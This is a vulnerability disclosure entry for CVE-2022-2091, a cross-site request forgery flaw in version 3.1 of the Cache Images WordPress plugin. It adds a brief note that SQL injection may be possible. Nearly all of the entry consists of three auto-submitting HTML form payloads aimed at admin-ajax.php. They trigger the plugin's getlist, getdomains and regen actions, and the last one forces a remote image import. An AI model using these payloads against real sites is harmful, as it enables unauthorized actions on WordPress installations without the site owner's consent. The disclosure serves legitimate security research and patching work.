CVE: CVE-2022-2091

Name: Cache Images (cache-images)

Version: 3.1

Date: 2022-04-18 12:37:25

Advisory: https://wpscan.com/vulnerability/03e7c2dc-1c6d-4cff-af59-6b41ead74978

Type: CSRF

Exploit: 


Allows import of any images with any user level. Probably also SQL Injection possible through LIKE(%...%) query.

<form action="https://example.com/wp-admin/admin-ajax.php" method="POST">
    <input type="text" name="action" value="cache_images">
    <input type="text" name="do" value="getlist">
    <input type="text" name="domain" value="example.com">
</form>
<script>
    document.forms[0].submit();
</script>


<form action="https://example.com/wp-admin/admin-ajax.php" method="POST">
    <input type="text" name="action" value="cache_images">
    <input type="text" name="do" value="getdomains">
</form>
<script>
    document.forms[0].submit();
</script>


<form action="https://example.com/wp-admin/admin-ajax.php" method="POST">
    <input type="text" name="action" value="cache_images">
    <input type="text" name="do" value="regen">
    <input type="text" name="url" value="https://heise.cloudimg.io/v7/_www-heise-de_/imgs/18/3/4/8/4/2/6/8/shutterstock_1124819546_jpg.jpg-d3889c815ce30778.jpeg?org_if_sml=1&q=30&width=1032">
    <input type="text" name="postid" value="2">
</form>
<script>
    document.forms[0].submit();
</script>